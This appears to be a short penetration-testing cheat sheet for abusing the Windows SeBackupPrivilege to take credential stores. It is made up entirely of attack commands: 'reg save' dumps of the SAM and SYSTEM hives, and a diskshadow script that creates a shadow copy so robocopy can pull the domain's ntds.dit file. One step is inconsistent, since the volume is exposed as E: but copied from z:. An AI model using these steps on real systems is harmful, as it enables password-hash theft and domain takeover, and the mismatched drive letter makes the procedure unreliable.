SeBackupPrivilege

Privilege Name                Description                         State
============================= =================================== =======
SeBackupPrivilege             Back up files and directories       Enabled

reg save hklm\sam C:\programdata\sam.bak

reg save hklm\system C:\programdata\system.bak

Option 2

Create pwned.dsh file

set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias cdrive
create
expose %cdrive% E:
end backup

Convert encoding and formatting

unix2dos pwned.dsh

Upload to machine

diskshadow /s pwned.dsh
robocopy /b z:\windows\ntds . ntds.dit

reg save hklm\system C:\programdata\system.bak